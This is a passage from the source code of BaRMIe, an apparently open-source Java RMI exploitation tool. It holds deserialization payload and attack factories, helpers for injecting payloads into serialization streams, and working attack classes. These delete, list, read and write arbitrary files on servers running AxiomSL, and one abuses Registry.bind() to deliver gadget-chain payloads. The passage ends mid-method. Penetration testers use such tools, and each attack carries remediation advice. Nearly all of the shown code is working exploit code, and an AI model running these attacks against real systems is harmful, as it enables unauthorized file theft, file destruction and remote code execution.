getRemediationAdvice() { 140 | return this._remediationAdvice; 141 | } 142 | 143 | /******************* 144 | * Set remediation advice for the payload. 145 | * 146 | * @param remediationAdvice Remediation advice that may help to defend against this payload. 147 | ******************/ 148 | protected final void setRemediationAdvice(String remediationAdvice) { 149 | this._remediationAdvice = remediationAdvice; 150 | } 151 | 152 | /******************* 153 | * Helper method to convert a string of hex-ascii-encoded bytes into a 154 | * corresponding array of bytes. 155 | * 156 | * @param hexStr A string of hex-encoded bytes. 157 | * @return The resulting byte array. 158 | ******************/ 159 | protected final byte[] hexStrToByteArray(String hexStr) { 160 | byte[] data; 161 | 162 | //Create the byte array 163 | data = new byte[hexStr.length() / 2]; 164 | 165 | //Convert the hex string to bytes 166 | for(int i = 0; i < hexStr.length(); i += 2) { 167 | data[i / 2] = (byte)((Character.digit(hexStr.charAt(i), 16) << 4) + Character.digit(hexStr.charAt(i + 1), 16)); 168 | } 169 | 170 | //Return the resulting byte array 171 | return data; 172 | } 173 | 174 | /******************* 175 | * Helper method to convert a string to a Utf8 byte array (2-byte length 176 | * followed by string bytes). 177 | * 178 | * @param val The string to convert to a byte array. 179 | * @return The resulting byte array. 180 | ******************/ 181 | protected final byte[] stringToUtf8ByteArray(String val) { 182 | byte[] outBytes = new byte[val.length() + 2]; 183 | byte[] strBytes = val.getBytes(); 184 | 185 | //Build the output byte array 186 | outBytes[0] = (byte)((strBytes.length >> 8) & 0xff); 187 | outBytes[1] = (byte)(strBytes.length & 0xff); 188 | for(int i = 0; i < strBytes.length; ++i) { 189 | outBytes[i + 2] = strBytes[i]; 190 | } 191 | 192 | //Return the output bytes 193 | return outBytes; 194 | } 195 | 196 | /******************* 197 | * Helper method to convert a short to a byte array. 198 | * 199 | * @param val The short to convert to a byte array. 200 | * @return The resulting byte array. 201 | ******************/ 202 | protected final byte[] shortToByteArray(short val) { 203 | return new byte[] { 204 | (byte)((val >> 8) & 0xff), 205 | (byte)( val & 0xff) 206 | }; 207 | } 208 | 209 | /******************* 210 | * Helper method to convert an int to a byte array. 211 | * 212 | * @param val The int to convert to a byte array. 213 | * @return The resulting byte array. 214 | ******************/ 215 | protected final byte[] intToByteArray(int val) { 216 | return new byte[] { 217 | (byte)((val >> 24) & 0xff), 218 | (byte)((val >> 16) & 0xff), 219 | (byte)((val >> 8) & 0xff), 220 | (byte)( val & 0xff) 221 | }; 222 | } 223 | 224 | /******************* 225 | * Helper method to correct the handle values of TC_REFERENCE elements in 226 | * the given byte array by adding a given offset to each. 227 | * 228 | * The starting value for handles in a serialization stream is 0x7e 00 00. 229 | * If a deserialization payload is injected into a serialization stream 230 | * that already contains an object with a handle value then any referenced 231 | * handles within that payload must be updated accordingly so that they 232 | * still refer to handles within the payload, rather than handles within 233 | * the stream in which the payload is injected. 234 | * 235 | * Note that this is a hacky method that identifies TC_REFERENCE elements 236 | * by the byte sequence 0x71 00 7e and won't work if there are more than 237 | * 65,535 handles in the stream, or if this byte sequence appears elsewhere 238 | * in a payload byte stream. 239 | * 240 | * @param original The original payload stream bytes to correct. 241 | * @param correction The value to add to each handle value within the payload. 242 | * @return A new byte array containing the corrected TC_REFERENCE handle values. 243 | ******************/ 244 | protected final byte[] fixReferences(byte[] original, int correction) { 245 | byte[] fixed = new byte[original.length]; 246 | int refHandle; 247 | 248 | //Copy the given bytes but correct reference handle values as required 249 | for(int i = 0; i < original.length; ++i) { 250 | //Check if there are enough bytes left in the original to contain a TC_REFERENCE 251 | if(i < (original.length - 5)) { 252 | //Look for a TC_REFERENCE at this offset 253 | if(original[i] == (byte)0x71 && original[i + 1] == (byte)0x00 && original[i + 2] == (byte)0x7e) { 254 | //Get the low-word of the reference handle 255 | refHandle = (original[i + 3] << 8) + ((original[i + 4]) & 0xff); 256 | 257 | //Correct it 258 | refHandle = refHandle + correction; 259 | 260 | //Copy the reference to the fixed byte array and skip over the bytes in the original 261 | fixed[i++] = (byte)0x71; 262 | fixed[i++] = (byte)0x00; 263 | fixed[i++] = (byte)0x7e; 264 | fixed[i++] = (byte)((refHandle >> 8) & 0xff); 265 | fixed[i] = (byte)(refHandle & 0xff); 266 | } else { 267 | //Copy the byte straight across 268 | fixed[i] = original[i]; 269 | } 270 | } else { 271 | //Copy the byte straight across 272 | fixed[i] = original[i]; 273 | } 274 | } 275 | 276 | //Return the fixed payload bytes 277 | return fixed; 278 | } 279 | } 280 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/DeserPayloadFactory.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack; 2 | 3 | import java.util.ArrayList; 4 | import nb.barmie.modes.enumeration.RMIEndpoint; 5 | 6 | /*********************************************************** 7 | * Deserialization payload factory class. 8 | * 9 | * Essentially maintains a list of all supported Java 10 | * deserialization payloads and the classes/objects 11 | * implementing them. 12 | * 13 | * Written by Nicky Bloor (@NickstaDB). 14 | **********************************************************/ 15 | public class DeserPayloadFactory { 16 | /******************* 17 | * Properties 18 | ******************/ 19 | private static final ArrayList _payloads; //All deserialization payloads 20 | 21 | /******************* 22 | * Initialise the list of supported deserialization payloads 23 | ******************/ 24 | static { 25 | //Create the list of deserialization payloads 26 | _payloads = new ArrayList(); 27 | 28 | //Add all supported payloads to the list 29 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.CommonsCollectionsPayload1()); 30 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.CommonsCollectionsPayload2()); 31 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.GroovyPayload1()); 32 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.GroovyPayload2()); 33 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.JBossInterceptorsPayload1()); 34 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.ROMEPayload1()); 35 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.ROMEPayload2()); 36 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload1()); 37 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload2()); 38 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload3()); 39 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload4()); 40 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload5()); 41 | _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload6()); 42 | } 43 | 44 | /******************* 45 | * Find all deserialization payloads that affect the given RMI endpoint. 46 | * 47 | * This won't always work as it depends on remote classes being annotated 48 | * with CLASSPATH jar files. If these annotations aren't present, as is 49 | * often the case, then all payloads can be attempted (or attack/target 50 | * specific payloads can be used). 51 | * 52 | * @param ep The enumerated RMI endpoint. 53 | * @return An ArrayList of DeserPayload objects that should affect the given endpoint. 54 | ******************/ 55 | public static ArrayList findGadgetsForEndpoint(RMIEndpoint ep) { 56 | ArrayList payloads = new ArrayList(); 57 | 58 | //Find all deserialization payloads that can target the given endpoint 59 | for(DeserPayload p: _payloads) { 60 | if(p.doesAffectEndpoint(ep)) { 61 | payloads.add(p); 62 | } 63 | } 64 | 65 | //Return the list of deserialization payloads that affect the given endpoint 66 | return payloads; 67 | } 68 | 69 | /******************* 70 | * Get a list of all known deserialization payloads. 71 | * 72 | * @return An ArrayList of DeserPayload objects. 73 | ******************/ 74 | public static ArrayList getAllPayloads() { 75 | return _payloads; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/RMIAttackFactory.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack; 2 | 3 | import java.util.ArrayList; 4 | import nb.barmie.modes.enumeration.RMIEndpoint; 5 | import nb.barmie.util.ProgramOptions; 6 | 7 | /*********************************************************** 8 | * RMI attack factory class. 9 | * 10 | * Essentially maintains a list of all supported RMI 11 | * attacks and the classes which implement them. 12 | * 13 | * Written by Nicky Bloor (@NickstaDB). 14 | **********************************************************/ 15 | public class RMIAttackFactory { 16 | /******************* 17 | * Properties 18 | ******************/ 19 | private static final ArrayList _attacks; //All RMI attack objects 20 | 21 | /******************* 22 | * Initialise the list of supported RMI attacks 23 | ******************/ 24 | static { 25 | //Create the list of RMI attacks 26 | _attacks = new ArrayList(); 27 | 28 | //Add all known attacks to the list 29 | _attacks.add(new nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind()); //RMI Registry.bind() deserialization attack. 30 | _attacks.add(new nb.barmie.modes.attack.attacks.SpringFramework.RmiInvocationHandlerDeser()); //Spring RMI Remoting invoke() deserialization attack 31 | _attacks.add(new nb.barmie.modes.attack.attacks.SpringFramework.Spring2RmiInvocationHandlerDeser()); //Spring 2 RMI Remoting invoke() deserialization attack 32 | _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.DeleteFile()); //AxiomSL delete file 33 | _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.ListFiles()); //AxiomSL list files 34 | _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.ReadFile()); //AxiomSL read file 35 | _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.WriteFile()); //AxiomSL write file 36 | _attacks.add(new nb.barmie.modes.attack.attacks.Java.JMXDeser()); //JMX RMI deserialization attack 37 | } 38 | 39 | /******************* 40 | * Attacks may need access to things like socket timeout options so this 41 | * method passes the current ProgramOptions object to each known attack. 42 | * 43 | * @param options The current ProgramOptions object. 44 | ******************/ 45 | public static void setProgramOptions(ProgramOptions options) { 46 | for(RMIAttack att: _attacks) { 47 | att.setProgramOptions(options); 48 | } 49 | } 50 | 51 | /******************* 52 | * Clean up all attacks. 53 | ******************/ 54 | public static void cleanUp() { 55 | for(RMIAttack att: _attacks) { 56 | att.cleanUp(); 57 | } 58 | } 59 | 60 | /******************* 61 | * Find all attacks that can target a given RMI endpoint. 62 | * 63 | * @param ep The enumerated RMI endpoint. 64 | * @return An ArrayList of RMIAttack objects that can target the given endpoint. 65 | ******************/ 66 | public static ArrayList findAttacksForEndpoint(RMIEndpoint ep) { 67 | ArrayList attacks = new ArrayList(); 68 | 69 | //Find all RMI attacks that can target the given endpoint 70 | for(RMIAttack a: _attacks) { 71 | if(a.canAttackEndpoint(ep)) { 72 | attacks.add(a); 73 | } 74 | } 75 | 76 | //Return the list of attacks for the given endpoint 77 | return attacks; 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/RMITargetData.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Collections; 5 | import nb.barmie.modes.enumeration.RMIEndpoint; 6 | 7 | /*********************************************************** 8 | * Container class for RMI target data - contains an RMI 9 | * endpoint along with any RMI attacks and deserialization 10 | * payloads that apply to the endpoint. 11 | * 12 | * Written by Nicky Bloor (@NickstaDB). 13 | **********************************************************/ 14 | public class RMITargetData { 15 | /******************* 16 | * Properties 17 | ******************/ 18 | private RMIEndpoint _endpoint; //The RMI endpoint 19 | private ArrayList _attacks; //EMI attacks affecting this endpoint 20 | private ArrayList _payloads; //Deserialization payloads affecting this endpoint 21 | 22 | /******************* 23 | * Initialise the RMITargetData object based on enumeration results. 24 | * 25 | * @param endpoint The enumerated RMI endpoint. 26 | ******************/ 27 | public RMITargetData(RMIEndpoint endpoint) { 28 | this._endpoint = endpoint; 29 | this._attacks = RMIAttackFactory.findAttacksForEndpoint(this._endpoint); 30 | this._payloads = DeserPayloadFactory.findGadgetsForEndpoint(this._endpoint); 31 | 32 | //Sort the available attacks 33 | Collections.sort(this._attacks); 34 | } 35 | 36 | /******************* 37 | * Check if we have any supported attacks for the endpoint. 38 | * 39 | * @return True if we have attacks for the endpoint. 40 | ******************/ 41 | public boolean hasSupportedAttacks() { 42 | return (this._attacks.size() > 0); 43 | } 44 | 45 | /******************* 46 | * Check if any of the supported attacks for this endpoint are 47 | * deserialization attacks. 48 | * 49 | * @return True if any of the attacks for this endpoint are deserialization attacks. 50 | ******************/ 51 | public boolean hasDeserializationAttacks() { 52 | for(RMIAttack a: this._attacks) { 53 | if(a.isDeserAttack() == true) { 54 | return true; 55 | } 56 | } 57 | return false; 58 | } 59 | 60 | /******************* 61 | * Check if we have any deserialization payloads that likely affect this 62 | * endpoint (based on leaked CLASSPATH data). 63 | * 64 | * @return True if we have any deserialization payloads affecting this endpoint. 65 | ******************/ 66 | public boolean hasAffectedLibs() { 67 | return (this._payloads.size() > 0); 68 | } 69 | 70 | /******************* 71 | * Return a string representation of this target. 72 | * 73 | * The output includes the host:port, reliability of the best available 74 | * attack, and states whether known deserialization attacks and payloads 75 | * were identified. 76 | * 77 | * @return A string describing the target and available attacks/payloads. 78 | ******************/ 79 | public String getDetailString() { 80 | String out; 81 | 82 | //Host and port 83 | out = this._endpoint.getEndpoint().toString(); 84 | 85 | //Attack details 86 | if(this._attacks.size() > 0) { 87 | //Add reliability of best attack 88 | out += " Reliability " + this._attacks.get(0).getReliabilityIndicator(); 89 | 90 | //Add details of available deserialization attacks/payloads 91 | out += ", Deser attack "; 92 | if(this.hasDeserializationAttacks() == true) { 93 | out += "[Y], payload "; 94 | if(this.hasAffectedLibs() == true) { 95 | out += "[Y]"; 96 | } else { 97 | out += "[?]"; //Question mark as deserialization payloads cannot always be detected 98 | } 99 | } else { 100 | out += "[N]"; 101 | } 102 | } else { 103 | out += " No attacks available."; 104 | } 105 | 106 | //Return the target details 107 | return out; 108 | } 109 | 110 | /******************* 111 | * Getters 112 | ******************/ 113 | public RMIEndpoint getEndpoint() { return this._endpoint; } 114 | public ArrayList getAttacks() { return this._attacks; } 115 | public ArrayList getDeserPayloads() { return this._payloads; } 116 | } 117 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/Axiom/DeleteFile.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.Axiom; 2 | 3 | import axiomsl.server.rmi.FileBrowserStub; 4 | import axiomsl.server.rmi.FileInformation; 5 | import nb.barmie.exceptions.BaRMIeException; 6 | import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; 7 | import nb.barmie.modes.attack.RMIAttack; 8 | import nb.barmie.modes.enumeration.RMIEndpoint; 9 | 10 | /*********************************************************** 11 | * Delete arbitrary files from a server running AxiomSL. 12 | * 13 | * Written by Nicky Bloor (@NickstaDB). 14 | **********************************************************/ 15 | public class DeleteFile extends RMIAttack { 16 | /******************* 17 | * Set attack properties 18 | ******************/ 19 | public DeleteFile() { 20 | super(); 21 | this.setDescription("AxiomSL arbitrary file delete"); 22 | this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a deleteFile() method that deletes the file at the given path."); 23 | this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); 24 | } 25 | 26 | /******************* 27 | * Check if the given endpoint can be attacked. 28 | * 29 | * @param ep An enumerated RMI endpoint. 30 | * @return True if we can attack it. 31 | ******************/ 32 | public boolean canAttackEndpoint(RMIEndpoint ep) { 33 | return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); 34 | } 35 | 36 | /******************* 37 | * Attack the endpoint. 38 | * 39 | * @param ep An enumerated RMI endpoint. 40 | ******************/ 41 | public void executeAttack(RMIEndpoint ep) throws BaRMIeException { 42 | FileBrowserStub fbs; 43 | String filename; 44 | 45 | //Ask the user for a filename to delete 46 | filename = this.promptUserForInput("Enter a filename to delete: ", false); 47 | System.out.println(""); 48 | 49 | //Get the fileBrowser object from the endpoint 50 | System.out.println("[~] Getting fileBrowser object..."); 51 | fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); 52 | 53 | //Attempt to delete the file 54 | try { 55 | System.out.println("[+] Retrieved, attempting to delete the file..."); 56 | if(fbs.deleteFile(filename, false) == true) { 57 | System.out.println("[+] File deleted successfully"); 58 | } else { 59 | System.out.println("[-] File delete failed."); 60 | } 61 | } catch(Exception re) { 62 | //Failed to delte the file from the target 63 | throw new BaRMIeRemoteMethodCallException("Failed to delete the remote file.", re); 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/Axiom/ListFiles.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.Axiom; 2 | 3 | import axiomsl.server.rmi.FileBrowserStub; 4 | import axiomsl.server.rmi.FileInformation; 5 | import nb.barmie.exceptions.BaRMIeException; 6 | import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; 7 | import nb.barmie.modes.attack.RMIAttack; 8 | import nb.barmie.modes.enumeration.RMIEndpoint; 9 | 10 | /*********************************************************** 11 | * List files in a given directory on a server running 12 | * AxiomSL. 13 | * 14 | * Written by Nicky Bloor (@NickstaDB). 15 | **********************************************************/ 16 | public class ListFiles extends RMIAttack { 17 | /******************* 18 | * Set attack properties 19 | ******************/ 20 | public ListFiles() { 21 | super(); 22 | this.setDescription("AxiomSL list files in directory"); 23 | this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a listFiles() method that returns a list of files in a given directory."); 24 | this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); 25 | } 26 | 27 | /******************* 28 | * Check if the given endpoint can be attacked. 29 | * 30 | * @param ep An enumerated RMI endpoint. 31 | * @return True if we can attack it. 32 | ******************/ 33 | public boolean canAttackEndpoint(RMIEndpoint ep) { 34 | return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); 35 | } 36 | 37 | /******************* 38 | * Attack the endpoint. 39 | * 40 | * @param ep An enumerated RMI endpoint. 41 | ******************/ 42 | public void executeAttack(RMIEndpoint ep) throws BaRMIeException { 43 | FileBrowserStub fbs; 44 | FileInformation[] files; 45 | String path; 46 | 47 | //Ask the user for a directory to list files from 48 | path = this.promptUserForInput("Enter a path to list files from: ", false); 49 | System.out.println(""); 50 | 51 | //Get the fileBrowser object from the endpoint 52 | System.out.println("[~] Getting fileBrowser object..."); 53 | fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); 54 | 55 | //Attempt to list files 56 | try { 57 | System.out.println("[+] Retrieved, attempting to list files..."); 58 | files = fbs.listFilesOnServer(path); 59 | if(files != null) { 60 | System.out.println("[+] Found " + files.length + " files:"); 61 | for(FileInformation fi: files) { 62 | if(fi.bIsDirectory == true) { 63 | System.out.println(" [+] " + fi.sFileName + "/"); 64 | } else { 65 | System.out.println(" [+] " + fi.sFileName); 66 | } 67 | } 68 | } else { 69 | System.out.println("[-] No file information returned"); 70 | } 71 | } catch(Exception re) { 72 | //Failed to delte the file from the target 73 | throw new BaRMIeRemoteMethodCallException("Failed to delete the remote file.", re); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/Axiom/ReadFile.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.Axiom; 2 | 3 | import axiomsl.server.rmi.FileBrowserStub; 4 | import axiomsl.server.rmi.FileInformation; 5 | import java.rmi.RemoteException; 6 | import nb.barmie.exceptions.BaRMIeException; 7 | import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; 8 | import nb.barmie.modes.attack.RMIAttack; 9 | import nb.barmie.modes.enumeration.RMIEndpoint; 10 | 11 | /*********************************************************** 12 | * Read arbitrary files from a server running AxiomSL. 13 | * 14 | * Written by Nicky Bloor (@NickstaDB). 15 | **********************************************************/ 16 | public class ReadFile extends RMIAttack { 17 | /******************* 18 | * Set attack properties 19 | ******************/ 20 | public ReadFile() { 21 | super(); 22 | this.setDescription("AxiomSL arbitrary file read"); 23 | this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a readFile() method that returns the contents of the file at the given path."); 24 | this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); 25 | } 26 | 27 | /******************* 28 | * Check if the given endpoint can be attacked. 29 | * 30 | * @param ep An enumerated RMI endpoint. 31 | * @return True if we can attack it. 32 | ******************/ 33 | public boolean canAttackEndpoint(RMIEndpoint ep) { 34 | return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); 35 | } 36 | 37 | /******************* 38 | * Attack the endpoint. 39 | * 40 | * @param ep An enumerated RMI endpoint. 41 | ******************/ 42 | public void executeAttack(RMIEndpoint ep) throws BaRMIeException { 43 | FileBrowserStub fbs; 44 | FileInformation fi; 45 | String srcFilename; 46 | String dstFilename; 47 | byte[] contents; 48 | 49 | //Ask the user for a filename to read 50 | srcFilename = this.promptUserForInput("Enter a filename to read: ", false); 51 | 52 | //Ask the user for a destination filename to write the file contents to 53 | dstFilename = this.promptUserForInput("Enter a path to save the file to: ", false); 54 | System.out.println(""); 55 | 56 | //Get the fileBrowser object from the endpoint 57 | System.out.println("[~] Getting fileBrowser object..."); 58 | fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); 59 | 60 | //Attempt to read the file and save the contents locally 61 | try { 62 | System.out.println("[+] Retrieved, getting file information..."); 63 | fi = fbs.getFileInformation(srcFilename); 64 | if(fi.bExists == true && fi.lSize > 0) { 65 | System.out.println("[+] File exists, size: " + fi.lSize); 66 | contents = fbs.readFile(srcFilename, 0, (int)fi.lSize); 67 | if(contents != null) { 68 | System.out.println("[+] File retrieved, writing local file..."); 69 | this.writeFile(dstFilename, contents); 70 | } else { 71 | System.out.println("[-] No data returned"); 72 | } 73 | } else { 74 | System.out.println("[-] The file does not exist on the server."); 75 | } 76 | } catch(Exception re) { 77 | //Failed to read the file from the target 78 | throw new BaRMIeRemoteMethodCallException("Failed to read the remote file.", re); 79 | } 80 | 81 | //Verify presence of downloaded file 82 | if(this.fileExists(dstFilename)) { 83 | System.out.println("[+] Requested file has been downloaded."); 84 | } else { 85 | System.out.println("[-] Something went wrong whilst attempting to download the file."); 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/Axiom/WriteFile.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.Axiom; 2 | 3 | import axiomsl.server.rmi.FileBrowserStub; 4 | import axiomsl.server.rmi.FileInformation; 5 | import java.io.File; 6 | import java.io.FileInputStream; 7 | import nb.barmie.exceptions.BaRMIeAttackException; 8 | import nb.barmie.exceptions.BaRMIeException; 9 | import nb.barmie.exceptions.BaRMIeRemoteMethodCallException; 10 | import nb.barmie.modes.attack.RMIAttack; 11 | import nb.barmie.modes.enumeration.RMIEndpoint; 12 | 13 | /*********************************************************** 14 | * Write a fie to a server running AxiomSL. 15 | * 16 | * Written by Nicky Bloor (@NickstaDB). 17 | **********************************************************/ 18 | public class WriteFile extends RMIAttack { 19 | /******************* 20 | * Set attack properties 21 | ******************/ 22 | public WriteFile() { 23 | super(); 24 | this.setDescription("AxiomSL arbitrary file write"); 25 | this.setDetailedDescription("AxiomSL exposes an object FileBrowserStub, which has a writeFile() method that writes the given data to the given path."); 26 | this.setRemediationAdvice("[AxiomSL] Update AxiomSL to the latest available version."); 27 | } 28 | 29 | /******************* 30 | * Check if the given endpoint can be attacked. 31 | * 32 | * @param ep An enumerated RMI endpoint. 33 | * @return True if we can attack it. 34 | ******************/ 35 | public boolean canAttackEndpoint(RMIEndpoint ep) { 36 | return ep.hasClass("axiomsl.server.rmi.FileBrowserStub"); 37 | } 38 | 39 | /******************* 40 | * Attack the endpoint. 41 | * 42 | * @param ep An enumerated RMI endpoint. 43 | ******************/ 44 | public void executeAttack(RMIEndpoint ep) throws BaRMIeException { 45 | FileInputStream fis; 46 | FileBrowserStub fbs; 47 | FileInformation fi; 48 | String srcFilename; 49 | String dstFilename; 50 | byte[] contents; 51 | 52 | //Ask the user for a filename to upload 53 | srcFilename = this.promptUserForInput("Enter a local file to upload: ", false); 54 | 55 | //Ask the user for a destination filename 56 | dstFilename = this.promptUserForInput("Enter a remote path to save the file to: ", false); 57 | System.out.println(""); 58 | 59 | //Get the fileBrowser object from the endpoint 60 | System.out.println("[~] Getting fileBrowser object..."); 61 | fbs = (FileBrowserStub)this.getRemoteObject(ep, "fileBrowser"); 62 | 63 | //Read the contents of the local file 64 | try { 65 | fis = new FileInputStream(srcFilename); 66 | contents = new byte[(int)new File(srcFilename).length()]; 67 | fis.read(contents, 0, contents.length); 68 | fis.close(); 69 | } catch(Exception ex) { 70 | throw new BaRMIeAttackException("Unable to read the given local file ('" + srcFilename + "').", ex); 71 | } 72 | 73 | //Attempt to write the file to the server 74 | try { 75 | System.out.println("[+] Retrieved, attempting to write remote file..."); 76 | fbs.writeFile(dstFilename, contents); 77 | fi = fbs.getFileInformation(dstFilename); 78 | if(fi.bExists == true) { 79 | System.out.println("[+] The file appears to have been written successfully."); 80 | } else { 81 | System.out.println("[-] Failed to write the file to the server."); 82 | } 83 | } catch(Exception re) { 84 | //Failed to write the file to the target 85 | throw new BaRMIeRemoteMethodCallException("Failed to write the file to the server.", re); 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/attacks/Java/IllegalRegistryBind.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack.attacks.Java; 2 | 3 | import java.io.InvalidClassException; 4 | import java.io.Serializable; 5 | import java.net.InetAddress; 6 | import java.net.UnknownHostException; 7 | import java.rmi.AlreadyBoundException; 8 | import java.rmi.Remote; 9 | import java.rmi.RemoteException; 10 | import java.rmi.ServerException; 11 | import java.rmi.UnmarshalException; 12 | import java.rmi.registry.LocateRegistry; 13 | import java.rmi.registry.Registry; 14 | import nb.barmie.exceptions.BaRMIeException; 15 | import nb.barmie.modes.attack.DeserPayload; 16 | import nb.barmie.modes.attack.RMIDeserAttack; 17 | import nb.barmie.modes.enumeration.RMIEndpoint; 18 | import nb.barmie.net.proxy.RMIBindExploitProxy; 19 | 20 | /*********************************************************** 21 | * Deliver a deserialization payload to an RMI registry via 22 | * the Registry.bind() method. 23 | * 24 | * Affects Java 6u131, 7u121, 8u112 and below, along with 25 | * JRockit R28.3.12 and below. 26 | * 27 | * This attack works by using a TCP proxy to issue an 28 | * illegal call to Registry.bind() by modifying the method 29 | * parameters as the pass through the proxy and injecting 30 | * a deserialization payload. 31 | * 32 | * Requires POP gadgets to be available on the CLASSPATH 33 | * of the RMI registry service. 34 | * 35 | * Written by Nicky Bloor (@NickstaDB). 36 | **********************************************************/ 37 | public class IllegalRegistryBind extends RMIDeserAttack { 38 | /******************* 39 | * Dummy payload used to test for vulnerable targets. 40 | ******************/ 41 | private final byte[] _dummyPayload = { 42 | (byte)0x73, (byte)0x72, (byte)0x00, (byte)0x10, (byte)0x6a, (byte)0x61, (byte)0x76, (byte)0x61, (byte)0x2e, (byte)0x6c, (byte)0x61, (byte)0x6e, (byte)0x67, (byte)0x2e, (byte)0x4f, (byte)0x62, (byte)0x6a, 43 | (byte)0x65, (byte)0x63, (byte)0x74, (byte)0x12, (byte)0xe2, (byte)0xa0, (byte)0xa4, (byte)0xf7, (byte)0x81, (byte)0x87, (byte)0x38, (byte)0x02, (byte)0x00, (byte)0x00, (byte)0x70, (byte)0x78, (byte)0x70 44 | }; 45 | 46 | /******************* 47 | * Dummy class implementing java.rmi.Remote which we use to make a valid 48 | * call to Registry.bind(). 49 | * 50 | * The actual attack and payload injection occurs within the class 51 | * BindPayloadInjectingProxyThread. 52 | ******************/ 53 | private static class BaRMIeBindExploit implements Remote, Serializable { 54 | } 55 | 56 | /******************* 57 | * Set attack properties. 58 | ******************/ 59 | public IllegalRegistryBind() { 60 | super(); 61 | this.setDescription("Java RMI registry illegal bind deserialization"); 62 | this.setDetailedDescription("Java version 6u131, 7u121, 8u121 and below, and JRockit R28.3.12 and below do not validate the types of the parameter to the RMI Registry.bind() method at the server side prior to deserializing them. This enables us to inject a deserialization payload at the network level by replacing either parameter to bind() with a payload object."); 63 | this.setRemediationAdvice("[Java] Update to Java 6u141, Java 7u131, Java 8u121, JRockit R28.3.13 or greater."); 64 | this.setAppSpecific(false); 65 | this.setRequiresNonDefaultDependency(true); 66 | } 67 | 68 | /******************* 69 | * Check if the given endpoint can be attacked. 70 | * 71 | * This check is performed by executing a dummy attack against the 72 | * endpoint and observing the resulting exception. 73 | * 74 | * @param ep An enumerated RMI endpoint. 75 | * @return True if we can attack it. 76 | ******************/ 77 | public boolean canAttackEndpoint(RMIEndpoint ep) { 78 | RMIBindExploitProxy proxy = null; 79 | Registry reg; 80 | 81 | //Execute a dummy attack 82 | try { 83 | //Start a bind exploit proxy 84 | proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload); 85 | proxy.startProxy(); 86 | 87 | //Get a proxied RMI registry reference 88 | reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); 89 | 90 | //Bind a dummy object in an attempt to trigger the vulnerability 91 | reg.bind(this.generateRandomString(), new BaRMIeBindExploit()); 92 | } catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) { 93 | //An up to date RMI registry will, by default, reject the dummy object 94 | if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) { 95 | //Check for "filter status: REJECTED" 96 | if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) { 97 | //Test payload was filtered, likely this attack isn't possible 98 | return false; 99 | } 100 | } 101 | } finally { 102 | //Stop the proxy 103 | if(proxy != null) { 104 | proxy.stopProxy(true); 105 | } 106 | } 107 | 108 | //In all other cases we should be able to attack the registry 109 | return true; 110 | } 111 | 112 | /******************* 113 | * Execute the deserialization attack against the given RMI endpoint using 114 | * the given payload. 115 | * 116 | * @param ep The enumerated RMI endpoint. 117 | * @param payload The deserialization payload to deliver. 118 | * @param cmd The command to use for payload generation. 119 | ******************/ 120 | public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException { 121 | RMIBindExploitProxy proxy = null; 122 | 